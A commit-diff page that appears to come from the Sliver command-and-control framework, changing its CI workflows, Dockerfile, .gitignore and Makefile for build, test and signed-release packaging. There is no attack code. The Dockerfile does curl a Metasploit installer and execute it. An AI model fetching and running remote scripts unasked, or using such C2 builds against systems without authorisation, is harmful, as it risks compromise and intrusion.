ce98ce8b37 | ||
|
|
de8c6cb9b5 | ||
|
|
6afdad6d50 | ||
|
|
d699a8d140 | ||
|
|
77148d0d31 | ||
|
|
c7e77c8f8b | ||
|
|
5e6148b193 | ||
|
|
f0fae008d3 | ||
|
|
7b12e893a5 | ||
|
|
a619b59329 | ||
|
|
ead23d8bf6 | ||
|
|
7e6abd2211 | ||
|
|
4052093d57 | ||
|
|
a676cb328a | ||
|
|
25b14a97e2 | ||
|
|
1be1904c4d | ||
|
|
ead6b48b74 | ||
|
|
5d8ee38cb4 | ||
|
|
cef27f6511 | ||
|
|
dd91251710 | ||
|
|
d13e3fc61e | ||
|
|
cfb292d6d6 | ||
|
|
0e66a5643e | ||
|
|
6cc3955f2a | ||
|
|
1cfcfc5659 | ||
|
|
5a9b01516d | ||
|
|
ededdfee1c | ||
|
|
5a7ee43120 | ||
|
|
8b7a66a595 | ||
|
|
f8ae372796 | ||
|
|
5908033ffd | ||
|
|
e083fa6db4 | ||
|
|
eb96269114 | ||
|
|
e9945d7cb4 | ||
|
|
f9382baa35 | ||
|
|
c91740d2ac | ||
|
|
170c2bc462 | ||
|
|
ac56a98671 | ||
|
|
6c7814ce4f | ||
|
|
35522b1bc6 | ||
|
|
f66f61eb01 | ||
|
|
4adc9abd6a | ||
|
|
418b061c14 | ||
|
|
9cfef52739 | ||
|
|
95ea7d8390 | ||
|
|
7f02c2ca96 | ||
|
|
430b5ffb79 | ||
|
|
e256b74773 | ||
|
|
e0c7779c6d | ||
|
|
aa31df6813 | ||
|
|
4146b382ff | ||
|
|
1e2e3caca0 | ||
|
|
40a9b74119 | ||
|
|
125a4ac0c4 | ||
|
|
91d1177f82 | ||
|
|
1a66b392ba | ||
|
|
05b887962a | ||
|
|
ffeebebc8a | ||
|
|
c06089974e | ||
|
|
f47a1d9606 | ||
|
|
ac9a5052aa | ||
|
|
921abe0620 | ||
|
|
c3f4b7493d | ||
|
|
4f2e86c6fc | ||
|
|
d9f2146849 | ||
|
|
3a4158fada | ||
|
|
7d095fae82 | ||
|
|
364e61bf10 | ||
|
|
5685af7978 | ||
|
|
6b43991619 | ||
|
|
c91a2ce822 | ||
|
|
da6c11f259 | ||
|
|
82a9e7fc9a | ||
|
|
e7f03babaa | ||
|
|
0af718beea | ||
|
|
16f96c5add | ||
|
|
84c56f3c4e | ||
|
|
14553f9a5a | ||
|
|
441038a508 | ||
|
|
4bf328edd9 | ||
|
|
f7d5d5f4c6 | ||
|
|
ea764705f1 | ||
|
|
3f00c639dd | ||
|
|
f5c75eba83 | ||
|
|
2a86250fd4 | ||
|
|
c4616ff43c | ||
|
|
c3a28dcf7a | ||
|
|
0417fc16f6 | ||
|
|
901e9fd9e1 | ||
|
|
c5b3250d17 | ||
|
|
9f72364e54 | ||
|
|
b1b6f8186c | ||
|
|
184dde22ad | ||
|
|
0f5262ef87 | ||
|
|
f68932ab3f | ||
|
|
8a669d1d84 | ||
|
|
bb8b7111b7 | ||
|
|
567e51ca46 | ||
|
|
05166e896f | ||
|
|
3cfe6435f3 | ||
|
|
48c65108d6 | ||
|
|
a271932c8a | ||
|
|
90b3c7bca4 | ||
|
|
8c6fe18280 | ||
|
|
97dbae571c | ||
|
|
b5e629c4a6 | ||
|
|
53593be73f | ||
|
|
cf5ae8bd07 | ||
|
|
4d3ac9177a | ||
|
|
92a9bc4da9 | ||
|
|
4b3a9dad8a |
No files matched your search
@@ -2,101 +2,68 @@ name: Release
|
||||
|
||||
on:
|
||||
push:
|
||||
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
|
||||
branches: [master, goreleaser]
|
||||
branches: [master]
|
||||
|
||||
jobs:
|
||||
linux-windows-build:
|
||||
name: Linux & Windows Build
|
||||
servers-build:
|
||||
name: Release Build Server
|
||||
if: startsWith( github.ref, 'refs/tags/v')
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
- name: Go 1.21
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.19"
|
||||
go-version: "^1.21"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Make
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _linux
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make linux
|
||||
run: make servers
|
||||
|
||||
- name: Linux Artifacts
|
||||
- name: Server Artifacts
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: linux
|
||||
path: ./sliver-*
|
||||
name: servers
|
||||
path: ./sliver-server_*
|
||||
|
||||
- name: Make Windows
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _windows
|
||||
run: |
|
||||
make clean
|
||||
export PATH=/home/runner/go/bin/:$PATH && make windows
|
||||
|
||||
- name: Windows Artifacts
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: windows
|
||||
path: ./sliver-*
|
||||
|
||||
macos-build:
|
||||
name: MacOS Build
|
||||
clients-build:
|
||||
name: Release Build Client
|
||||
if: startsWith( github.ref, 'refs/tags/v')
|
||||
runs-on: macos-latest
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
- name: Go 1.21
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "1.19.1"
|
||||
go-version: "^1.21"
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
- name: Make
|
||||
run: make clients
|
||||
|
||||
- name: Make AMD64
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _macos
|
||||
run: make macos
|
||||
|
||||
- name: Make ARM64
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _macos-arm64
|
||||
run: make macos-arm64
|
||||
|
||||
- name: MacOS Artifacts
|
||||
- name: Client Artifacts
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: macos
|
||||
path: ./sliver-*
|
||||
name: clients
|
||||
path: ./sliver-client_*
|
||||
|
||||
tagged-release:
|
||||
needs: [linux-windows-build, macos-build]
|
||||
needs: [servers-build, clients-build]
|
||||
|
||||
name: "Tagged Release"
|
||||
if: startsWith( github.ref, 'refs/tags/v')
|
||||
@@ -112,44 +79,59 @@ jobs:
|
||||
- name: Extract Artifacts
|
||||
run: |
|
||||
mkdir -p ./artifacts
|
||||
cp ./builds/linux/* ./artifacts
|
||||
cp ./builds/windows/* ./artifacts
|
||||
cp ./builds/macos/* ./artifacts
|
||||
cp ./builds/clients/* ./artifacts
|
||||
cp ./builds/servers/* ./artifacts
|
||||
|
||||
- id: install-secret-key
|
||||
name: GPG Key(s)
|
||||
- name: GPG Key(s)
|
||||
run: |
|
||||
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
|
||||
gpg --list-secret-keys --keyid-format LONG
|
||||
|
||||
# Linux
|
||||
- name: Linux 386 (Client Only)
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-386.sig --detach-sig ./artifacts/sliver-client_linux-386
|
||||
- name: Linux AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux-amd64.sig --detach-sig ./artifacts/sliver-server_linux-amd64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-amd64.sig --detach-sig ./artifacts/sliver-client_linux-amd64
|
||||
- name: Linux ARM64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux-arm64.sig --detach-sig ./artifacts/sliver-server_linux-arm64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-arm64.sig --detach-sig ./artifacts/sliver-client_linux-arm64
|
||||
|
||||
# Windows
|
||||
- name: Windows 386 (Client Only)
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-386.sig --detach-sig ./artifacts/sliver-client_windows-386.exe
|
||||
- name: Windows AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows-amd64.sig --detach-sig ./artifacts/sliver-server_windows-amd64.exe
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-amd64.sig --detach-sig ./artifacts/sliver-client_windows-amd64.exe
|
||||
- name: Windows ARM64 (Client Only)
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-arm64.sig --detach-sig ./artifacts/sliver-client_windows-arm64.exe
|
||||
|
||||
# MacOS AMD64
|
||||
# MacOS
|
||||
- name: MacOS AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
|
||||
|
||||
# MacOS ARM64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-amd64.sig --detach-sig ./artifacts/sliver-server_macos-amd64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-amd64.sig --detach-sig ./artifacts/sliver-client_macos-amd64
|
||||
- name: Package MacOS ARM64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
|
||||
|
||||
# FreeBSD
|
||||
- name: FreeBSD AMD64 (Client Only)
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_freebsd-amd64.sig --detach-sig ./artifacts/sliver-client_freebsd-amd64.exe
|
||||
- name: FreeBSD ARM64 (Client Only)
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_freebsd-arm64.sig --detach-sig ./artifacts/sliver-client_freebsd-arm64.exe
|
||||
|
||||
- name: "Publish Release"
|
||||
uses: "marvinpinto/action-automatic-releases@latest"
|
||||
uses: "bishopfox/action-gh-release@v1"
|
||||
with:
|
||||
repo_token: "${{ secrets.GITHUB_TOKEN }}"
|
||||
prerelease: true
|
||||
files: |
|
||||
./artifacts/*
|
||||
@@ -16,13 +16,13 @@ jobs:
|
||||
|
||||
steps:
|
||||
# Setup go environment
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
- name: Go 1.21
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.19"
|
||||
go-version: "^1.21"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
# Must fetch at least the immediate parents so that if this is
|
||||
# a pull request then we can checkout the head of the pull request.
|
||||
@@ -33,25 +33,19 @@ jobs:
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
# Initializes the CodeQL tools for scanning.
|
||||
- name: Initialize CodeQL
|
||||
uses: github/codeql-action/init@v2
|
||||
with:
|
||||
config-file: ./.github/codeql/codeql-config.yml
|
||||
languages: go
|
||||
|
||||
# Build the server ... is this necessary though?
|
||||
- run: |
|
||||
make
|
||||
- name: Make
|
||||
run: make
|
||||
|
||||
- name: Perform CodeQL Analysis
|
||||
uses: github/codeql-action/analyze@v2
|
||||
|
||||
@@ -1,76 +0,0 @@
|
||||
name: Build & Test
|
||||
on:
|
||||
pull_request:
|
||||
branches:
|
||||
- master
|
||||
types:
|
||||
- opened
|
||||
- reopened
|
||||
- synchronize
|
||||
- ready_for_review
|
||||
|
||||
jobs:
|
||||
linux-windows-build:
|
||||
name: Linux & Windows Build
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "^1.19"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Make
|
||||
run: make linux
|
||||
|
||||
- name: Test
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
|
||||
- name: Make Windows
|
||||
run: make windows
|
||||
|
||||
macos-build:
|
||||
name: MacOS Build
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "^1.19"
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Make
|
||||
run: make macos
|
||||
|
||||
- name: Test
|
||||
env:
|
||||
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
|
||||
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
@@ -0,0 +1,95 @@
|
||||
name: Build & Test
|
||||
on:
|
||||
pull_request:
|
||||
branches:
|
||||
- master
|
||||
types:
|
||||
- opened
|
||||
- reopened
|
||||
- synchronize
|
||||
- ready_for_review
|
||||
|
||||
jobs:
|
||||
linux-windows-build-test:
|
||||
name: Linux & Windows Test
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.21
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.21"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Make Linux (amd64)
|
||||
run: make linux-amd64
|
||||
|
||||
- name: Test Linux
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
|
||||
- name: Make Windows (amd64)
|
||||
run: make windows-amd64
|
||||
|
||||
- name: Make Linux (arm64)
|
||||
run: make linux-arm64
|
||||
|
||||
macos-build-test:
|
||||
name: MacOS Test
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.21
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.21"
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Make MacOS (amd64)
|
||||
run: make macos-amd64
|
||||
|
||||
- name: Test MacOS (amd64)
|
||||
env:
|
||||
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
|
||||
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
|
||||
- name: Make MacOS (arm64)
|
||||
run: make macos-arm64
|
||||
|
||||
clients-build:
|
||||
name: Clients Build
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.21
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.21"
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Make
|
||||
run: make clients
|
||||
@@ -14,10 +14,12 @@
|
||||
/sliver-server
|
||||
/sliver-server_arm64
|
||||
/sliver.exe
|
||||
/sliver-server_*
|
||||
|
||||
/sliver-client
|
||||
/sliver-client_arm64
|
||||
/sliver-client.exe
|
||||
/sliver-client_*
|
||||
|
||||
sliver-server-linux.zip
|
||||
sliver-server-macos.zip
|
||||
@@ -32,6 +34,7 @@ sliver-server-windows.zip
|
||||
|
||||
# Test binary, build with `go test -c`
|
||||
/*.test
|
||||
/test.py
|
||||
|
||||
# Output of the go coverage tool, specifically when used with LiteIDE
|
||||
/*.out
|
||||
@@ -42,3 +45,6 @@ sliver-server-windows.zip
|
||||
.DS_Store
|
||||
|
||||
dist/
|
||||
|
||||
# Flag to show that go-assets.sh has been run
|
||||
.downloaded_assets
|
||||
+50
-56
@@ -1,73 +1,67 @@
|
||||
FROM golang:1.19.2
|
||||
# STAGE: base
|
||||
## Compiles Sliver for use
|
||||
FROM --platform=linux/amd64 golang:1.21.4 as base
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
# Sliver using this container configuration! However, if you do want
|
||||
# a Docker deployment this is probably a good place to start.
|
||||
#
|
||||
|
||||
ENV PROTOC_VER 3.19.4
|
||||
ENV PROTOC_GEN_GO_VER v1.27.1
|
||||
ENV GRPC_GO v1.2.0
|
||||
|
||||
# Base packages
|
||||
### Base packages
|
||||
RUN apt-get update --fix-missing && apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev \
|
||||
libxml2 libxml2-dev libxslt-dev locate curl \
|
||||
libreadline6-dev libcurl4-openssl-dev git-core \
|
||||
libssl-dev libyaml-dev openssl autoconf libtool \
|
||||
ncurses-dev bison curl wget xsel postgresql \
|
||||
postgresql-contrib postgresql-client libpq-dev \
|
||||
libapr1 libaprutil1 libsvn1 \
|
||||
libpcap-dev libsqlite3-dev libgmp3-dev \
|
||||
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
|
||||
nasm gcc-multilib
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip
|
||||
|
||||
#
|
||||
# > User
|
||||
#
|
||||
### Add sliver user
|
||||
RUN groupadd -g 999 sliver && useradd -r -u 999 -g sliver sliver
|
||||
RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
|
||||
|
||||
#
|
||||
# > Metasploit
|
||||
#
|
||||
### Build sliver:
|
||||
WORKDIR /go/src/github.com/bishopfox/sliver
|
||||
ADD . /go/src/github.com/bishopfox/sliver/
|
||||
RUN make clean-all
|
||||
RUN make
|
||||
RUN cp -vv sliver-server /opt/sliver-server
|
||||
|
||||
# STAGE: test
|
||||
## Run unit tests against the compiled instance
|
||||
## Use `--target test` in the docker build command to run this stage
|
||||
FROM --platform=linux/amd64 base as test
|
||||
|
||||
### Install testing packages
|
||||
RUN apt-get update --fix-missing && apt-get -y install \
|
||||
libxml2 libxml2-dev libxslt-dev locate curl \
|
||||
libreadline6-dev libcurl4-openssl-dev git-core \
|
||||
libssl-dev libyaml-dev openssl autoconf libtool \
|
||||
ncurses-dev bison curl xsel postgresql \
|
||||
postgresql-contrib postgresql-client libpq-dev \
|
||||
libapr1 libaprutil1 libsvn1 \
|
||||
libpcap-dev libsqlite3-dev libgmp3-dev \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
|
||||
nasm gcc-multilib
|
||||
|
||||
### Install MSF for testing
|
||||
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
|
||||
&& chmod 755 msfinstall \
|
||||
&& ./msfinstall
|
||||
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
|
||||
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
|
||||
RUN mkdir -p ~/.msf4/ \
|
||||
&& touch ~/.msf4/initial_setup_complete \
|
||||
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
|
||||
|
||||
#
|
||||
# > Sliver
|
||||
#
|
||||
RUN /opt/sliver-server unpack --force
|
||||
|
||||
# Protoc
|
||||
WORKDIR /tmp
|
||||
RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& cp -vv ./bin/protoc /usr/local/bin
|
||||
RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
|
||||
&& go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
|
||||
|
||||
# Go assets
|
||||
WORKDIR /go/src/github.com/bishopfox/sliver
|
||||
ADD . /go/src/github.com/bishopfox/sliver/
|
||||
RUN make clean-all \
|
||||
&& ./go-assets.sh
|
||||
|
||||
RUN make \
|
||||
&& cp -vv sliver-server /opt/sliver-server \
|
||||
&& /opt/sliver-server unpack --force
|
||||
|
||||
# Run unit tests
|
||||
### Run unit tests
|
||||
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
|
||||
|
||||
# Clean up
|
||||
RUN make clean \
|
||||
&& rm -rf /go/src/* \
|
||||
&& rm -rf /home/sliver/.sliver
|
||||
# STAGE: production
|
||||
## Final dockerized form of Sliver
|
||||
FROM --platform=linux/amd64 debian:bookworm-slim as production
|
||||
|
||||
### Copy compiled binary
|
||||
COPY --from=base /opt/sliver-server /opt/sliver-server
|
||||
|
||||
### Add sliver user
|
||||
RUN groupadd -g 999 sliver && useradd -r -u 999 -g sliver sliver
|
||||
RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
|
||||
|
||||
### Unpack Sliver:
|
||||
RUN /opt/sliver-server unpack --force
|
||||
|
||||
USER sliver
|
||||
WORKDIR /home/sliver/
|
||||
VOLUME [ "/home/sliver/.sliver" ]
|
||||
ENTRYPOINT [ "/opt/sliver-server" ]
|
||||
@@ -5,8 +5,12 @@
|
||||
GO ?= go
|
||||
ARTIFACT_SUFFIX ?=
|
||||
ENV =
|
||||
TAGS ?= -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
|
||||
TAGS ?= -tags go_sqlite
|
||||
CGO_ENABLED = 0
|
||||
|
||||
ifneq (,$(findstring cgo_sqlite,$(TAGS)))
|
||||
CGO_ENABLED = 1
|
||||
endif
|
||||
|
||||
#
|
||||
# Prerequisites
|
||||
@@ -23,13 +27,13 @@ GO_VERSION = $(shell $(GO) version)
|
||||
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
|
||||
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
|
||||
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 18
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 21
|
||||
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
||||
|
||||
VERSION ?= $(shell git describe --abbrev=0)
|
||||
COMPILED_AT = $(shell date +%s)
|
||||
RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
|
||||
ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
|
||||
ARMORY_PUBLIC_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
|
||||
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
|
||||
VERSION_PKG = github.com/bishopfox/sliver/client/version
|
||||
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
|
||||
@@ -44,9 +48,18 @@ LDFLAGS = -ldflags "-s -w \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
# Debug builds shouldn't be stripped (-s -w flags)
|
||||
LDFLAGS_DEBUG = -ldflags "-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
SED_INPLACE := sed -i
|
||||
STATIC_TARGET := linux
|
||||
@@ -54,17 +67,6 @@ STATIC_TARGET := linux
|
||||
UNAME_S := $(shell uname -s)
|
||||
UNAME_P := $(shell uname -p)
|
||||
|
||||
# If the target is Windows from Linux/Darwin, check for mingw
|
||||
CROSS_COMPILERS = x86_64-w64-mingw32-gcc x86_64-w64-mingw32-g++
|
||||
ifneq (,$(findstring cgosqlite,$(TAGS)))
|
||||
ENV +=CGO_ENABLED=1
|
||||
ifeq ($(MAKECMDGOALS), windows)
|
||||
K := $(foreach exec,$(CROSS_COMPILERS),\
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
|
||||
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
|
||||
endif
|
||||
endif
|
||||
|
||||
# Programs required for generating protobuf/grpc files
|
||||
PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
|
||||
ifeq ($(MAKECMDGOALS), pb)
|
||||
@@ -95,48 +97,69 @@ ifeq ($(MAKECMDGOALS), linux)
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
endif
|
||||
|
||||
ifeq ($(MAKECMDGOALS), linux-arm64)
|
||||
# Redefine TAGS/ENV to use pure go sqlite3
|
||||
TAGS = -tags osusergo,netgo,gosqlite
|
||||
ENV = CGO_ENABLED=0
|
||||
endif
|
||||
|
||||
#
|
||||
# Targets
|
||||
#
|
||||
.PHONY: default
|
||||
default: clean validate-go-version
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
